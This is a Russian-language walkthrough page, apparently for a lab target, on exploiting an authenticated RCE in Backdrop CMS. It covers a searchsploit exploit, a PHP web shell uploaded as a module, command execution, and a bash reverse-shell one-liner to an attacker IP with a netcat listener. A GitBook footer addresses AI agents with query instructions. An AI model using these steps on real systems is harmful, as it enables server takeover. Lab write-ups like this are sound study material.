> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/backdrop-cms-exploitation.md).

# Backdrop

## **Эксплуатация RCE в Backdrop CMS**

Используйте найденные учетные данные для входа в CMS.

<figure><img src="/files/39a40bd438196191bdab9fd0b6b3e9f9a41dde9c" alt=""><figcaption></figcaption></figure>

**Исследование уязвимости**

Используйте **searchsploit** чтобы выявить уязвимость RCE:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="/files/e0e88d43a9a93aa3cb9724fefdd545882c889611" alt=""><figcaption></figcaption></figure>

Мы запускаем эксплойт:

```bash
python3 52021.py http://10.10.11.58
```

Это создаёт ZIP-файл, содержащий PHP-оболочку.

<figure><img src="/files/3d7317e0955e27b5ab094a94a020625f02575d70" alt=""><figcaption></figcaption></figure>

Сожмите шелл как **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="/files/b2c476d17f508e04541007fa1836ef9cbe10a4d9" alt=""><figcaption></figcaption></figure>

Загрузите его через **admin / installer / manual**.

<figure><img src="/files/97d2b2300fb92ad121d3d6fd70f5e21f43557790" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1b663bd95c62f1d7170874b877231e455785b516" alt=""><figcaption></figcaption></figure>

**Выполнение команд**

У **modules/cmd/** папка содержит **cmd.php**.

<figure><img src="/files/2004cd8dd009eab66329f7d234437267e32d122e" alt=""><figcaption></figcaption></figure>

Это позволяет выполнять команды:

```bash
ifconfig 
```

<figure><img src="/files/e290205ea42fbd94cef3f3597de90c7d9ebfcc9e" alt=""><figcaption></figcaption></figure>

### **Обратная оболочка Backdrop CMS**

Откройте прослушиватель на порту 443:

```bash
nc -nlvp 443 
```

Внедрите полезную нагрузку:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="/files/e8fc1e42e7edcde051a998468dde77dddf8efa64" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
